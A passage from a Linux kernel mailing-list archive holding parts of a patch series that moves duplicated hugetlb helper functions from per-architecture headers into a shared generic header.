        Thu, 20 Sep 2018 06:10:45 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180920060358.16606-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2876065 gmane.linux.kernel.mm:203581 gmane.linux.ports.arm.kernel:675046 gmane.linux.ports.ia64:29255 gmane.linux.ports.mips.general:66741 gmane.linux.ports.parisc:28982 gmane.linux.ports.ppc64.devel:162760 gmane.linux.ports.sh.devel:57530 gmane.linux.ports.sparc:28452 gmane.linux.kernel.cross-arch:46626
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2876065>

arm, arm64, ia64, mips, parisc, powerpc, sh, sparc, x86 architectures
use the same version of huge_pte_none, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Acked-by: Ingo Molnar <mingo@kernel.org> # x86
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb.h     | 5 -----
 arch/arm64/include/asm/hugetlb.h   | 5 -----
 arch/ia64/include/asm/hugetlb.h    | 5 -----
 arch/mips/include/asm/hugetlb.h    | 1 +
 arch/parisc/include/asm/hugetlb.h  | 5 -----
 arch/powerpc/include/asm/hugetlb.h | 5 -----
 arch/sh/include/asm/hugetlb.h      | 5 -----
 arch/sparc/include/asm/hugetlb.h   | 5 -----
 arch/x86/include/asm/hugetlb.h     | 5 -----
 include/asm-generic/hugetlb.h      | 7 +++++++
 10 files changed, 8 insertions(+), 40 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 537660891f9f..c821b550d6a4 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -44,11 +44,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4c8dd488554d..49247c6f94db 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 41b5f6adeee4..bf573500b3c4 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 7df1f116a3cc..1c9c4531376c 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -55,6 +55,7 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_tlb_page(vma, addr & huge_page_mask(hstate_vma(vma)));
 }
 
+#define __HAVE_ARCH_HUGE_PTE_NONE
 static inline int huge_pte_none(pte_t pte)
 {
 	unsigned long val = pte_val(pte) & ~_PAGE_GLOBAL;
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 9afff26747a1..c09d8c74553c 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 1eb3e131cab4..6a534353c8eb 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -149,11 +149,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 9abf9c86b769..a9f8266f33cf 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 651a9593fcee..11115bbd712e 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index fd59673e7a0a..42d872054791 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,11 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline int huge_pte_none(pte_t pte)
-{
-	return pte_none(pte);
-}
-
 static inline pte_t huge_pte_wrprotect(pte_t pte)
 {
 	return pte_wrprotect(pte);
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ffa63fd8388d..2fc3d68424e9 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -73,4 +73,11 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTE_NONE
+static inline int huge_pte_none(pte_t pte)
+{
+	return pte_none(pte);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v7 07/11] hugetlb: Introduce generic version of huge_pte_wrprotect
Date: Thu, 20 Sep 2018 06:03:54 +0000
Lines: 188
Approved: news@gmane.org
Message-ID: <20180920060358.16606-8-alex@ghiti.fr>
References: <20180920060358.16606-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1537423799 5120 195.159.176.226 (20 Sep 2018 06:09:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2018 06:09:59 +0000 (UTC)
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, Alexandre Ghiti <alex@ghiti.fr>
To: akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 20 08:09:53 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g2s9w-0000vg-Bt
	for glk-linux-kernel-4@m.gmane.org; Thu, 20 Sep 2018 08:09:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732041AbeITLxq (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 20 Sep 2018 07:53:46 -0400
Original-Received: from relay2-d.mail.gandi.net ([217.70.183.194]:57271 "EHLO
        relay2-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1731580AbeITLxq (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 20 Sep 2018 07:53:46 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay2-d.mail.gandi.net (Postfix) with ESMTPSA id EA94F40009;
        Thu, 20 Sep 2018 06:11:53 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180920060358.16606-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2876067 gmane.linux.kernel.mm:203582 gmane.linux.ports.arm.kernel:675047 gmane.linux.ports.ia64:29256 gmane.linux.ports.mips.general:66742 gmane.linux.ports.parisc:28983 gmane.linux.ports.ppc64.devel:162761 gmane.linux.ports.sh.devel:57531 gmane.linux.ports.sparc:28453 gmane.linux.kernel.cross-arch:46627
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2876067>

arm, arm64, ia64, mips, parisc, powerpc, sh, sparc, x86
architectures use the same version of huge_pte_wrprotect, so move
this generic implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Acked-by: Ingo Molnar <mingo@kernel.org> # x86
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb.h     | 5 -----
 arch/arm64/include/asm/hugetlb.h   | 5 -----
 arch/ia64/include/asm/hugetlb.h    | 5 -----
 arch/mips/include/asm/hugetlb.h    | 5 -----
 arch/parisc/include/asm/hugetlb.h  | 5 -----
 arch/powerpc/include/asm/hugetlb.h | 5 -----
 arch/sh/include/asm/hugetlb.h      | 5 -----
 arch/sparc/include/asm/hugetlb.h   | 5 -----
 arch/x86/include/asm/hugetlb.h     | 5 -----
 include/asm-generic/hugetlb.h      | 7 +++++++
 10 files changed, 7 insertions(+), 45 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index c821b550d6a4..9ca14227eeb7 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -44,11 +44,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 49247c6f94db..1fd64ebf0cd7 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -42,11 +42,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index bf573500b3c4..82fe3d7a38d9 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -26,11 +26,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 1c9c4531376c..b3d6bb53ee6e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -62,11 +62,6 @@ static inline int huge_pte_none(pte_t pte)
 	return !val || (val == (unsigned long)invalid_pte_table);
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index c09d8c74553c..5a102d7251e4 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -38,11 +38,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 6a534353c8eb..b5b57b309564 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -149,11 +149,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 	flush_hugetlb_page(vma, addr);
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index a9f8266f33cf..54f65094efe6 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -31,11 +31,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 11115bbd712e..f661362376e0 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -48,11 +48,6 @@ static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 {
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 42d872054791..3cd3a2c9840e 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,11 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_pte_wrprotect(pte_t pte)
-{
-	return pte_wrprotect(pte);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 2fc3d68424e9..cd9697672b79 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -80,4 +80,11 @@ static inline int huge_pte_none(pte_t pte)
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTE_WRPROTECT
+static inline pte_t huge_pte_wrprotect(pte_t pte)
+{
+	return pte_wrprotect(pte);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v7 08/11] hugetlb: Introduce generic version of prepare_hugepage_range
Date: Thu, 20 Sep 2018 06:03:55 +0000
Lines: 223
Approved: news@gmane.org
Message-ID: <20180920060358.16606-9-alex@ghiti.fr>
References: <20180920060358.16606-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1537423868 9495 195.159.176.226 (20 Sep 2018 06:11:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 20 Sep 2018 06:11:08 +0000 (UTC)
Cc: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org, Alexandre Ghiti <alex@ghiti.fr>
To: akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 20 08:11:01 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g2sB2-0001pN-IG
	for glk-linux-kernel-4@m.gmane.org; Thu, 20 Sep 2018 08:11:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732068AbeITLyy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 20 Sep 2018 07:54:54 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:59379 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1731260AbeITLyy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 20 Sep 2018 07:54:54 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id A36C924000B;
        Thu, 20 Sep 2018 06:13:00 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180920060358.16606-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2876069 gmane.linux.kernel.mm:203583 gmane.linux.ports.arm.kernel:675048 gmane.linux.ports.ia64:29257 gmane.linux.ports.mips.general:66743 gmane.linux.ports.parisc:28984 gmane.linux.ports.ppc64.devel:162762 gmane.linux.ports.sh.devel:57532 gmane.linux.ports.sparc:28454 gmane.linux.kernel.cross-arch:46628
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2876069>

arm, arm64, powerpc, sparc, x86 architectures use the same version of
prepare_hugepage_range, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Acked-by: Ingo Molnar <mingo@kernel.org> # x86
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb.h     | 11 -----------
 arch/arm64/include/asm/hugetlb.h   | 11 -----------
 arch/ia64/include/asm/hugetlb.h    |  1 +
 arch/mips/include/asm/hugetlb.h    |  1 +
 arch/parisc/include/asm/hugetlb.h  |  1 +
 arch/powerpc/include/asm/hugetlb.h | 15 ---------------
 arch/sh/include/asm/hugetlb.h      |  1 +
 arch/sparc/include/asm/hugetlb.h   | 16 ----------------
 arch/x86/include/asm/hugetlb.h     | 15 ---------------
 include/asm-generic/hugetlb.h      | 15 +++++++++++++++
 10 files changed, 19 insertions(+), 68 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 9ca14227eeb7..3fcef21ff2c2 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -33,17 +33,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int prepare_hugepage_range(struct file *file,
-					 unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 1fd64ebf0cd7..3e7f6e69b28d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -31,17 +31,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-static inline int prepare_hugepage_range(struct file *file,
-					 unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void arch_clear_hugepage_flags(struct page *page)
 {
 	clear_bit(PG_dcache_clean, &page->flags);
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 82fe3d7a38d9..cbe296271030 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -9,6 +9,7 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len);
 
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index b3d6bb53ee6e..6ff2531cfb1d 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -18,6 +18,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 					 unsigned long addr,
 					 unsigned long len)
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 5a102d7251e4..fb7e0fd858a3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -22,6 +22,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
  * If the arch doesn't supply something else, assume that hugepage
  * size aligned regions are ok without further preparation.
  */
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len)
 {
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index b5b57b309564..2a90f387880a 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -114,21 +114,6 @@ void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 #define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 54f65094efe6..f1bbd255ee43 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -15,6 +15,7 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
  * If the arch doesn't supply something else, assume that hugepage
  * size aligned regions are ok without further preparation.
  */
+#define __HAVE_ARCH_PREPARE_HUGEPAGE_RANGE
 static inline int prepare_hugepage_range(struct file *file,
 			unsigned long addr, unsigned long len)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index f661362376e0..2101ea217f33 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -26,22 +26,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 #define __HAVE_ARCH_HUGE_PTEP_CLEAR_FLUSH
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 3cd3a2c9840e..59c056adb3c9 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -13,21 +13,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 	return 0;
 }
 
-/*
- * If the arch doesn't supply something else, assume that hugepage
- * size aligned regions are ok without further preparation.
- */
-static inline int prepare_hugepage_range(struct file *file,
-			unsigned long addr, unsigned long len)
-{
-	struct hstate *h = hstate_file(file);
-	if (len & ~huge_page_mask(h))
-		return -EINVAL;
-	if (addr & ~huge_page_mask(h))
-		return -EINVAL;
-	return 0;
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
